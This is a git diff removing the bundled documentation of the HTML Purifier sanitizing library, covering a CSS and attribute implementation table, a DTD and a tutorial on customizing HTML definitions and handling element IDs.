    While a definition normally defines the structure/acceptable values of - an entity, most of the definitions in this application also attempt - to validate and fix the value. I am unsure of a better name, as - "Validator" would exclude fixing the value, "Fixer" doesn't invoke - the proper image of "fixing" something, and "ValidatorFixer" is too long! - Some other suggestions were "Handler", "Reference", "Check", "Fix", - "Repair" and "Heal".
    - -
    Transform not Transformer
    -
    Transform is both a noun and a verb, and thus we define a "Transform" as - something that "transforms," leaving "Transformer" (which sounds like an - electrical device/robot toy).
    - -
    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-optimization.html b/classes/security/htmlpurifier/docs/dev-optimization.html deleted file mode 100644 index 78f565813..000000000 --- a/classes/security/htmlpurifier/docs/dev-optimization.html +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - -Optimization - HTML Purifier - - - -

    Optimization

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Here are some possible optimization techniques we can apply to code sections if -they turn out to be slow. Be sure not to prematurely optimize: if you get -that itch, put it here!

    - -
      -
    • Make Tokens Flyweights (may prove problematic, probably not worth it)
    • -
    • Rewrite regexps into PHP code
    • -
    • Batch regexp validation (do as many per function call as possible)
    • -
    • Parallelize strategies
    • -
    - - - - diff --git a/classes/security/htmlpurifier/docs/dev-progress.html b/classes/security/htmlpurifier/docs/dev-progress.html deleted file mode 100644 index 105896ed6..000000000 --- a/classes/security/htmlpurifier/docs/dev-progress.html +++ /dev/null @@ -1,309 +0,0 @@ - - - - - - - -Implementation Progress - HTML Purifier - - - - - -

    Implementation Progress

    - -
    Filed under Development
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - Warning: This table is kept for historical purposes and - is not being actively updated. -

    - -

    Key

    - - - - - - - - -
    Implemented
    Partially implemented
    Not priority to implement
    Dangerous attribute/property
    Present in CSS1
    Feature, requires extra work
    - -

    CSS

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    NameNotes
    Standard
    background-colorCOMPOSITE(<color>, transparent)
    backgroundSHORTHAND, currently alias for background-color
    borderSHORTHAND, MULTIPLE
    border-colorMULTIPLE
    border-styleMULTIPLE
    border-widthMULTIPLE
    border-*SHORTHAND
    border-*-colorCOMPOSITE(<color>, transparent)
    border-*-styleENUM(none, hidden, dotted, dashed, - solid, double, groove, ridge, inset, outset)
    border-*-widthCOMPOSITE(<length>, thin, medium, thick)
    clearENUM(none, left, right, both)
    color<color>
    floatENUM(left, right, none), May require layout - precautions with clear
    fontSHORTHAND
    font-familyCSS validator may complain if fallback font - family not specified
    font-sizeCOMPOSITE(<absolute-size>, - <relative-size>, <length>, <percentage>)
    font-styleENUM(normal, italic, oblique)
    font-variantENUM(normal, small-caps)
    font-weightENUM(normal, bold, bolder, lighter, - 100, 200, 300, 400, 500, 600, 700, 800, 900), maybe special code for - in-between integers
    letter-spacingCOMPOSITE(<length>, normal)
    line-heightCOMPOSITE(<number>, - <length>, <percentage>, normal)
    list-style-positionENUM(inside, outside), - Strange behavior in browsers
    list-style-typeENUM(...), - Well-supported values are: disc, circle, square, - decimal, lower-roman, upper-roman, lower-alpha and upper-alpha. See also - CSS 3. Mostly IE lack of support.
    list-styleSHORTHAND
    marginMULTIPLE
    margin-*COMPOSITE(<length>, - <percentage>, auto)
    paddingMULTIPLE
    padding-*COMPOSITE(<length>(positive), - <percentage>(positive))
    text-alignENUM(left, right, - center, justify)
    text-decorationNo blink (argh my eyes), not - enum, can be combined (composite sorta): underline, overline, - line-through
    text-indentCOMPOSITE(<length>, - <percentage>)
    text-transformENUM(capitalize, uppercase, - lowercase, none)
    widthCOMPOSITE(<length>, - <percentage>, auto), Interesting
    word-spacingCOMPOSITE(<length>, auto), - IE 5 no support
    Table
    border-collapseENUM(collapse, seperate)
    border-spaceMULTIPLE
    caption-sideENUM(top, bottom)
    empty-cellsENUM(show, hide), No IE support makes this useless, - possible fix with &nbsp;? Unknown release milestone.
    table-layoutENUM(auto, fixed)
    vertical-alignCOMPOSITE(ENUM(baseline, sub, - super, top, text-top, middle, bottom, text-bottom), <percentage>, - <length>) Also applies to others with explicit height
    Absolute positioning, unknown release milestone
    bottomDangerous, must be non-negative to even be considered, - but it's still possible to arbitrarily position by running over.
    left
    right
    top
    clip-
    positionENUM(static, relative, absolute, fixed) - relative not absolute?
    z-indexDangerous
    Unknown
    background-imageDangerous
    background-attachmentENUM(scroll, fixed), - Depends on background-image
    background-positionDepends on background-image
    cursorDangerous but fluffy
    displayENUM(...), Dangerous but interesting; - will not implement list-item, run-in (Opera only) or table (no IE); - inline-block has incomplete IE6 support and requires -moz-inline-box - for Mozilla. Unknown target milestone.
    heightInteresting, why use it? Unknown target milestone.
    list-style-imageDangerous?
    max-heightNo IE 5/6
    min-height
    max-width
    min-width
    orphansNo IE support
    widowsNo IE support
    overflowENUM, IE 5/6 almost (remove visible if set). Unknown target milestone.
    page-break-afterENUM(auto, always, avoid, left, right), - IE 5.5/6 and Opera. Unknown target milestone.
    page-break-beforeENUM(auto, always, avoid, left, right), - Mostly supported. Unknown target milestone.
    page-break-insideENUM(avoid, auto), Opera only. Unknown target milestone.
    quotesMay be dropped from CSS2, fairly useless for inline context
    visibilityENUM(visible, hidden, collapse), - Dangerous
    white-spaceENUM(normal, pre, nowrap, pre-wrap, - pre-line), Spotty implementation: - pre (no IE 5/6), nowrap (no IE 5, supported), - pre-wrap (only Opera), pre-line (no support). Fixable? Unknown target milestone.
    Aural
    azimuth-
    cue-
    cue-after-
    cue-before-
    elevation-
    pause-after-
    pause-before-
    pause-
    pitch-range-
    pitch-
    play-during-
    richness-
    speak-headerTable related
    speak-numeral-
    speak-punctuation-
    speak-
    speech-rate-
    stress-
    voice-family-
    volume-
    Will not implement
    contentNot applicable for inline styles
    counter-incrementNeeds content, Opera only
    counter-resetNeeds content, Opera only
    directionNo support
    outline-colorIE Mac and Opera on outside, -Mozilla on inside and needs -moz-outline, no IE support.
    outline-style
    outline-width
    outline
    unicode-bidiNo support
    - -

    Interesting Attributes

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    AttributeTagsNotes
    CSS
    styleAllParser is reasonably functional. Status here doesn't count individual properties.
    Questionable
    accesskeyAMay interfere with main interface
    tabindexAMay interfere with main interface
    targetAConfig enabled, only useful for frame layouts, disallowed in strict
    Miscellaneous
    datetimeDEL, INSNo visible effect, ISO format
    relALargely user-defined: nofollow, tag (see microformats)
    revALargely user-defined: vote-*
    axisTD, THW3C only: No browser implementation
    charCOL, COLGROUP, TBODY, TD, TFOOT, TH, THEAD, TRW3C only: No browser implementation
    headersTD, THW3C only: No browser implementation
    scopeTD, THW3C only: No browser implementation
    URI
    citeBLOCKQUOTE, QFor attribution
    DEL, INSLink to explanation why it changed
    hrefA-
    longdescIMG-
    srcIMGRequired
    Transform
    alignCAPTION'caption-side' for top/bottom, 'text-align' for left/right
    IMGSee specimens/html-align-to-css.html
    TABLE
    HR
    H1, H2, H3, H4, H5, H6, PEquivalent style 'text-align'
    altIMGRequired, insert image filename if src is present or default invalid image text
    bgcolorTABLESuperset style 'background-color'
    TRSuperset style 'background-color'
    TD, THSuperset style 'background-color'
    borderIMGEquivalent style border:[number]px solid
    clearBRNear-equiv style 'clear', transform 'all' into 'both'
    compactDL, OL, ULBoolean, needs custom CSS class; rarely used anyway
    dirBDORequired, insert ltr (or configuration value) if none
    heightTD, THNear-equiv style 'height', needs px suffix if original was in pixels
    hspaceIMGNear-equiv styles 'margin-top' and 'margin-bottom', needs px suffix
    lang*Copy value to xml:lang
    nameIMGTurn into ID
    ATurn into ID
    noshadeHRBoolean, style 'border-style:solid;'
    nowrapTD, THBoolean, style 'white-space:nowrap;' (not compat with IE5)
    sizeHRNear-equiv 'height', needs px suffix if original was pixels
    srcIMGRequired, insert blank or default img if not set
    startOLPoorly supported 'counter-reset', allowed in loose, dropped in strict
    typeLIEquivalent style 'list-style-type', different allowed values though. (needs testing)
    OL
    UL
    valueLIPoorly supported 'counter-reset', allowed in loose, dropped in strict
    vspaceIMGNear-equiv styles 'margin-left' and 'margin-right', needs px suffix, see hspace
    widthHRNear-equiv style 'width', needs px suffix if original was pixels
    TD, TH
    - - - - diff --git a/classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd b/classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd deleted file mode 100644 index 628f27ac5..000000000 --- a/classes/security/htmlpurifier/docs/dtd/xhtml1-transitional.dtd +++ /dev/null @@ -1,1201 +0,0 @@ - - - - - -%HTMLlat1; - - -%HTMLsymbol; - - -%HTMLspecial; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-customize.html b/classes/security/htmlpurifier/docs/enduser-customize.html deleted file mode 100644 index 7e1ffa260..000000000 --- a/classes/security/htmlpurifier/docs/enduser-customize.html +++ /dev/null @@ -1,850 +0,0 @@ - - - - - - - -Customize - HTML Purifier - - - -

    Customize!

    -
    HTML Purifier is a Swiss-Army Knife
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    - HTML Purifier has this quirk where if you try to allow certain elements or - attributes, HTML Purifier will tell you that it's not supported, and that - you should go to the forums to find out how to implement it. Well, this - document is how to implement elements and attributes which HTML Purifier - doesn't support out of the box. -

    - -

    Is it necessary?

    - -

    - Before we even write any code, it is paramount to consider whether or - not the code we're writing is necessary or not. HTML Purifier, by default, - contains a large set of elements and attributes: large enough so that - any element or attribute in XHTML 1.0 or 1.1 (and its HTML variants) - that can be safely used by the general public is implemented. -

    - -

    - So what needs to be implemented? (Feel free to skip this section if - you know what you want). -

    - -

    XHTML 1.0

    - -

    - All of the modules listed below are based off of the - modularization of - XHTML, which, while technically for XHTML 1.1, is quite a useful - resource. -

    - -
      -
    • Structure
    • -
    • Frames
    • -
    • Applets (deprecated)
    • -
    • Forms
    • -
    • Image maps
    • -
    • Objects
    • -
    • Frames
    • -
    • Events
    • -
    • Meta-information
    • -
    • Style sheets
    • -
    • Link (not hypertext)
    • -
    • Base
    • -
    • Name
    • -
    - -

    - If you don't recognize it, you probably don't need it. But the curious - can look all of these modules up in the above-mentioned document. Note - that inline scripting comes packaged with HTML Purifier (more on this - later). -

    - -

    XHTML 1.1

    - -

    - As of HTMLPurifier 2.1.0, we have implemented the - Ruby module, - which defines a set of tags - for publishing short annotations for text, used mostly in Japanese - and Chinese school texts, but applicable for positioning any text (not - limited to translations) above or below other corresponding text. -

    - -

    HTML 5

    - -

    - HTML 5 - is a fork of HTML 4.01 by WHATWG, who believed that XHTML 2.0 was headed - in the wrong direction. It too is a working draft, and may change - drastically before publication, but it should be noted that the - canvas tag has been implemented by many browser vendors. -

    - -

    Proprietary

    - -

    - There are a number of proprietary tags still in the wild. Many of them - have been documented in ref-proprietary-tags.txt, - but there is currently no implementation for any of them. -

    - -

    Extensions

    - -

    - There are also a number of other XML languages out there that can - be embedded in HTML documents: two of the most popular are MathML and - SVG, and I frequently get requests to implement these. But they are - expansive, comprehensive specifications, and it would take far too long - to implement them correctly (most systems I've seen go as far - as whitelisting tags and no further; come on, what about nesting!) -

    - -

    - Word of warning: HTML Purifier is currently not namespace - aware. -

    - -

    Giving back

    - -

    - As you may imagine from the details above (don't be abashed if you didn't - read it all: a glance over would have done), there's quite a bit that - HTML Purifier doesn't implement. Recent architectural changes have - allowed HTML Purifier to implement elements and attributes that are not - safe! Don't worry, they won't be activated unless you set %HTML.Trusted - to true, but they certainly help out users who need to put, say, forms - on their page and don't want to go through the trouble of reading this - and implementing it themself. -

    - -

    - So any of the above that you implement for your own application could - help out some other poor sap on the other side of the globe. Help us - out, and send back code so that it can be hammered into a module and - released with the core. Any code would be greatly appreciated! -

    - -

    And now...

    - -

    - Enough philosophical talk, time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    // our code will go here
    -}
    - -

    - Assuming that HTML Purifier has already been properly loaded (hint: - include HTMLPurifier.auto.php), this code will set up - the environment that you need to start customizing the HTML definition. - What's going on? -

    - -
      -
    • - The first three lines are regular configuration code: -
        -
      • - %HTML.DefinitionID is set to a unique identifier for your - custom HTML definition. This prevents it from clobbering - other custom definitions on the same installation. -
      • -
      • - %HTML.DefinitionRev is a revision integer of your HTML - definition. Because HTML definitions are cached, you'll need - to increment this whenever you make a change in order to flush - the cache. -
      • -
      -
    • -
    • - The fourth line retrieves a raw HTMLPurifier_HTMLDefinition - object that we will be tweaking. Interestingly enough, we have - placed it in an if block: this is because - maybeGetRawHTMLDefinition, as its name suggests, may - return a NULL, in which case we should skip doing any - initialization. This, in fact, will correspond to when our fully - customized object is already in the cache. -
    • -
    - -

    Turn off caching

    - -

    - To make development easier, we're going to temporarily turn off - definition caching: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // TODO: remove this later!
    -$def = $config->getHTMLDefinition(true);
    - -

    - A few things should be mentioned about the caching mechanism before - we move on. For performance reasons, HTML Purifier caches generated - HTMLPurifier_Definition objects in serialized files - stored (by default) in library/HTMLPurifier/DefinitionCache/Serializer. - A lot of processing is done in order to create these objects, so it - makes little sense to repeat the same processing over and over again - whenever HTML Purifier is called. -

    - -

    - In order to identify a cache entry, HTML Purifier uses three variables: - the library's version number, the value of %HTML.DefinitionRev and - a serial of relevant configuration. Whenever any of these changes, - a new HTML definition is generated. Notice that there is no way - for the definition object to track changes to customizations: here, it - is up to you to supply appropriate information to DefinitionID and - DefinitionRev. -

    - -

    Add an attribute

    - -

    - For this example, we're going to implement the target attribute found - on a elements. To implement an attribute, we have to - ask a few questions: -

    - -
      -
    1. What element is it found on?
    2. -
    3. What is its name?
    4. -
    5. Is it required or optional?
    6. -
    7. What are valid values for it?
    8. -
    - -

    - The first three are easy: the element is a, the attribute - is target, and it is not a required attribute. (If it - was required, we'd need to append an asterisk to the attribute name, - you'll see an example of this in the addElement() example). -

    - -

    - The last question is a little trickier. - Lets allow the special values: _blank, _self, _target and _top. - The form of this is called an enumeration, a list of - valid values, although only one can be used at a time. To translate - this into code form, we write: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    - -

    - The Enum#_blank,_self,_target,_top does all the magic. - The string is split into two parts, separated by a hash mark (#): -

    - -
      -
    1. The first part is the name of what we call an AttrDef
    2. -
    3. The second part is the parameter of the above-mentioned AttrDef
    4. -
    - -

    - If that sounds vague and generic, it's because it is! HTML Purifier defines - an assortment of different attribute types one can use, and each of these - has their own specialized parameter format. Here are some of the more useful - ones: -

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeFormatDescription
    Enum[s:]value1,value2,... - Attribute with a number of valid values, one of which may be used. When - s: is present, the enumeration is case sensitive. -
    Boolattribute_name - Boolean attribute, with only one valid value: the name - of the attribute. -
    CDATA - Attribute of arbitrary text. Can also be referred to as Text - (the specification makes a semantic distinction between the two). -
    ID - Attribute that specifies a unique ID -
    Pixels - Attribute that specifies an integer pixel length -
    Length - Attribute that specifies a pixel or percentage length -
    NMTOKENS - Attribute that specifies a number of name tokens, example: the - class attribute -
    URI - Attribute that specifies a URI, example: the href - attribute -
    Number - Attribute that specifies an positive integer number -
    - -

    - For a complete list, consult - library/HTMLPurifier/AttrTypes.php; - more information on attributes that accept parameters can be found on their - respective includes in - library/HTMLPurifier/AttrDef. -

    - -

    - Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't - sweat: you can also use a fully instantiated object as the value. The - equivalent, verbose form of the above example is: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    - -

    - Trust me, you'll learn to love the shorthand. -

    - -

    Add an element

    - -

    - Adding attributes is really small-fry stuff, though, and it was possible - to add them (albeit a bit more wordy) prior to 2.0. The real gem of - the Advanced API is adding elements. There are five questions to - ask when adding a new element: -

    - -
      -
    1. What is the element's name?
    2. -
    3. What content set does this element belong to?
    4. -
    5. What are the allowed children of this element?
    6. -
    7. What attributes does the element allow that are general?
    8. -
    9. What attributes does the element allow that are specific to this element?
    10. -
    - -

    - It's a mouthful, and you'll be slightly lost if your not familiar with - the HTML specification, so let's explain them step by step. -

    - -

    Content set

    - -

    - The HTML specification defines two major content sets: Inline - and Block. Each of these - content sets contain a list of elements: Inline contains things like - span and b while Block contains things like - div and blockquote. -

    - -

    - These content sets amount to a macro mechanism for HTML definition. Most - elements in HTML are organized into one of these two sets, and most - elements in HTML allow elements from one of these sets. If we had - to write each element verbatim into each other element's allowed - children, we would have ridiculously large lists; instead we use - content sets to compactify the declaration. -

    - -

    - Practically speaking, there are several useful values you can use here: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content setDescription
    InlineCharacter level elements, text
    BlockBlock-like elements, like paragraphs and lists
    false - Any element that doesn't fit into the mold, for example li - or tr -
    - -

    - By specifying a valid value here, all other elements that use that - content set will also allow your element, without you having to do - anything. If you specify false, you'll have to register - your element manually. -

    - -

    Allowed children

    - -

    - Allowed children defines the elements that this element can contain. - The allowed values may range from none to a complex regexp depending on - your element. -

    - -

    - If you've ever taken a look at the HTML DTD's before, you may have - noticed declarations like this: -

    - -
    <!ELEMENT LI - O (%flow;)*             -- list item -->
    - -

    - The (%flow;)* indicates the allowed children of the - li tag: li allows any number of flow - elements as its children. (The - O allows the closing tag to be - omitted, though in XML this is not allowed.) In HTML Purifier, - we'd write it like Flow (here's where the content sets - we were discussing earlier come into play). There are three shorthand - content models you can specify: -

    - - - - - - - - - - - - - - - - - - - - - - -
    Content modelDescription
    EmptyNo children allowed, like br or hr
    InlineAny number of inline elements and text, like span
    FlowAny number of inline elements, block elements and text, like div
    - -

    - This covers 90% of all the cases out there, but what about elements that - break the mold like ul? This guy requires at least one - child, and the only valid children for it are li. The - content model is: Required: li. There are two parts: the - first type determines what ChildDef will be used to validate - content models. The most common values are: -

    - - - - - - - - - - - - - - - - - - - - - - -
    TypeDescription
    RequiredChildren must be one or more of the valid elements
    OptionalChildren can be any number of the valid elements
    CustomChildren must follow the DTD-style regex
    - -

    - You can also implement your own ChildDef: this was done - for a few special cases in HTML Purifier such as Chameleon - (for ins and del), StrictBlockquote - and Table. -

    - -

    - The second part specifies either valid elements or a regular expression. - Valid elements are separated with horizontal bars (|), i.e. - "a | b | c". Use #PCDATA to represent plain text. - Regular expressions are based off of DTD's style: -

    - -
      -
    • Parentheses () are used for grouping
    • -
    • Commas (,) separate elements that should come one after another
    • -
    • Horizontal bars (|) indicate one or the other elements should be used
    • -
    • Plus signs (+) are used for a one or more match
    • -
    • Asterisks (*) are used for a zero or more match
    • -
    • Question marks (?) are used for a zero or one match
    • -
    - -

    - For example, "a, b?, (c | d), e+, f*" means "In this order, - one a element, at most one b element, - one c or d element (but not both), one or more - e elements, and any number of f elements." - Regex veterans should be able to jump right in, and those not so savvy - can always copy-paste W3C's content model definitions into HTML Purifier - and hope for the best. -

    - -

    - A word of warning: while the regex format is extremely flexible on - the developer's side, it is - quite unforgiving on the user's side. If the user input does not exactly - match the specification, the entire contents of the element will - be nuked. This is why there is are specific content model types like - Optional and Required: while they could be implemented as Custom: - (valid | elements)*, the custom classes contain special recovery - measures that make sure as much of the user's original content gets - through. HTML Purifier's core, as a rule, does not use Custom. -

    - -

    - One final note: you can also use Content Sets inside your valid elements - lists or regular expressions. In fact, the three shorthand content models - mentioned above are just that: abbreviations: -

    - - - - - - - - - - - - - - - - - - -
    Content modelImplementation
    InlineOptional: Inline | #PCDATA
    FlowOptional: Flow | #PCDATA
    - -

    - When the definition is compiled, Inline will be replaced with a - horizontal-bar separated list of inline elements. Also, notice that - it does not contain text: you have to specify that yourself. -

    - -

    Common attributes

    - -

    - Congratulations: you have just gotten over the proverbial hump (Allowed - children). Common attributes is much simpler, and boils down to - one question: does your element have the id, style, - class, title and lang attributes? - If so, you'll want to specify the Common attribute collection, - which contains these five attributes that are found on almost every - HTML element in the specification. -

    - -

    - There are a few more collections, but they're really edge cases: -

    - - - - - - - - - - - - - - - - - - -
    CollectionAttributes
    I18Nlang, possibly xml:lang
    Corestyle, class, id and title
    - -

    - Common is a combination of the above-mentioned collections. -

    - -

    - Readers familiar with the modularization may have noticed that the Core - attribute collection differs from that specified by the abstract - modules of the XHTML Modularization 1.1. We believe this section - to be in error, as br permits the use of the style - attribute even though it uses the Core collection, and - the DTD and XML Schemas supplied by W3C support our interpretation. -

    - -

    Attributes

    - -

    - If you didn't read the earlier section on - adding attributes, read it now. The last parameter is simply - an array of attribute names to attribute implementations, in the exact - same format as addAttribute(). -

    - -

    Putting it all together

    - -

    - We're going to implement form. Before we embark, lets - grab a reference implementation from over at the - transitional DTD: -

    - -
    <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
    -<!ATTLIST FORM
    -  %attrs;                              -- %coreattrs, %i18n, %events --
    -  action      %URI;          #REQUIRED -- server-side form handler --
    -  method      (GET|POST)     GET       -- HTTP method used to submit the form--
    -  enctype     %ContentType;  "application/x-www-form-urlencoded"
    -  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
    -  name        CDATA          #IMPLIED  -- name of form for scripting --
    -  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
    -  onreset     %Script;       #IMPLIED  -- the form was reset --
    -  target      %FrameTarget;  #IMPLIED  -- render in this frame --
    -  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
    -  >
    - -

    - Juicy! With just this, we can answer four of our five questions: -

    - -
      -
    1. What is the element's name? form
    2. -
    3. What content set does this element belong to? Block - (this needs a little sleuthing, I find the easiest way is to search - the DTD for FORM and determine which set it is in.)
    4. -
    5. What are the allowed children of this element? One - or more flow elements, but no nested forms
    6. -
    7. What attributes does the element allow that are general? Common
    8. -
    9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; - we're going to do the vital ones: action, method and name
    10. -
    - -

    - Time for some code: -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$config->set('Cache.DefinitionImpl', null); // remove this later!
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    -  array('_blank','_self','_target','_top')
    -));
    -$form = $def->addElement(
    -  'form',   // name
    -  'Block',  // content set
    -  'Flow', // allowed children
    -  'Common', // attribute collection
    -  array( // attributes
    -    'action*' => 'URI',
    -    'method' => 'Enum#get|post',
    -    'name' => 'ID'
    -  )
    -);
    -$form->excludes = array('form' => true);
    - -

    - Each of the parameters corresponds to one of the questions we asked. - Notice that we added an asterisk to the end of the action - attribute to indicate that it is required. If someone specifies a - form without that attribute, the tag will be axed. - Also, the extra line at the end is a special extra declaration that - prevents forms from being nested within each other. -

    - -

    - And that's all there is to it! Implementing the rest of the form - module is left as an exercise to the user; to see more examples - check the library/HTMLPurifier/HTMLModule/ directory - in your local HTML Purifier installation. -

    - -

    And beyond...

    - -

    - Perceptive users may have realized that, to a certain extent, we - have simply re-implemented the facilities of XML Schema or the - Document Type Definition. What you are seeing here, however, is - not just an XML Schema or Document Type Definition: it is a fully - expressive method of specifying the definition of HTML that is - a portable superset of the capabilities of the two above-mentioned schema - languages. What makes HTMLDefinition so powerful is the fact that - if we don't have an implementation for a content model or an attribute - definition, you can supply it yourself by writing a PHP class. -

    - -

    - There are many facets of HTMLDefinition beyond the Advanced API I have - walked you through today. To find out more about these, you can - check out these source files: -

    - - - -

    Notes for HTML Purifier 4.2.0 and earlier

    - -

    - Previously, this tutorial gave some incorrect template code for - editing raw definitions, and that template code will now produce the - error Due to a documentation error in previous version of HTML - Purifier... Here is how to mechanically transform old-style - code into new-style code. -

    - -

    - First, identify all code that edits the raw definition object, and - put it together. Ensure none of this code must be run on every - request; if some sub-part needs to always be run, move it outside - this block. Here is an example below, with the raw definition - object code bolded. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - Next, replace the raw definition retrieval with a - maybeGetRawHTMLDefinition method call inside an if conditional, and - place the editing code inside that if block. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    -$config->set('HTML.DefinitionRev', 1);
    -if ($def = $config->maybeGetRawHTMLDefinition()) {
    -    $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -}
    -$purifier = new HTMLPurifier($config);
    - -

    - And you're done! Alternatively, if you're OK with not ever caching - your code, the following will still work and not emit warnings. -

    - -
    $config = HTMLPurifier_Config::createDefault();
    -$def = $config->getHTMLDefinition(true);
    -$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    -$purifier = new HTMLPurifier($config);
    - -

    - A slightly less efficient version of this was what was going on with - old versions of HTML Purifier. -

    - -

    - Technical notes: ajh pointed out on in a forum topic that - HTML Purifier appeared to be repeatedly writing to the cache even - when a cache entry already existed. Investigation lead to the - discovery of the following infelicity: caching of customized - definitions didn't actually work! The problem was that even though - a cache file would be written out at the end of the process, there - was no way for HTML Purifier to say, Actually, I've already got a - copy of your work, no need to reconfigure your - customizations. This required the API to change: placing - all of the customizations to the raw definition object in a - conditional which could be skipped. -

    - - - - diff --git a/classes/security/htmlpurifier/docs/enduser-id.html b/classes/security/htmlpurifier/docs/enduser-id.html deleted file mode 100644 index 53d2da248..000000000 --- a/classes/security/htmlpurifier/docs/enduser-id.html +++ /dev/null @@ -1,148 +0,0 @@ - - - - - - - -IDs - HTML Purifier - - - -

    IDs

    -
    What they are, why you should(n't) wear them, and how to deal with it
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Prior to HTML Purifier 1.2.0, this library blithely accepted user input that -looked like this:

    - -
    <a id="fragment">Anchor</a>
    - -

    ...presenting an attractive vector for those that would destroy standards -compliance: simply set the ID to one that is already used elsewhere in the -document and voila: validation breaks. There was a half-hearted attempt to -prevent this by allowing users to blacklist IDs, but I suspect that no one -really bothered, and thus, with the release of 1.2.0, IDs are now removed -by default.

    - -

    IDs, however, are quite useful functionality to have, so if users start -complaining about broken anchors you'll probably want to turn them back on -with %Attr.EnableID. But before you go mucking around with the config -object, it's probably worth to take some precautions to keep your page -validating. Why?

    - -
      -
    1. Standards-compliant pages are good
    2. -
    3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a - document, which spot does a browser presented with the fragment #foobar go - to? Most browsers opt for the first appearing ID, making it impossible - to references the second section. Similarly, duplicated IDs can hijack - client-side scripting that relies on the IDs of elements.
    4. -
    - -

    You have (currently) four ways of dealing with the problem.

    - - - -

    Blacklisting IDs

    -
    Good for pages with single content source and stable templates
    - -

    Keeping in terms with the -KISS principle, let us -deal with the most obvious solution: preventing users from using any IDs that -appear elsewhere on the document. The method is simple:

    - -
    $config->set('Attr.EnableID', true);
    -$config->set('Attr.IDBlacklist' array(
    -    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
    -));
    - -

    That being said, there are some notable drawbacks. First of all, you have to -know precisely which IDs are being used by the HTML surrounding the user code. -This is easier said than done: quite often the page designer and the system -coder work separately, so the designer has to constantly be talking with the -coder whenever he decides to add a new anchor. Miss one and you open yourself -to possible standards-compliance issues.

    - -

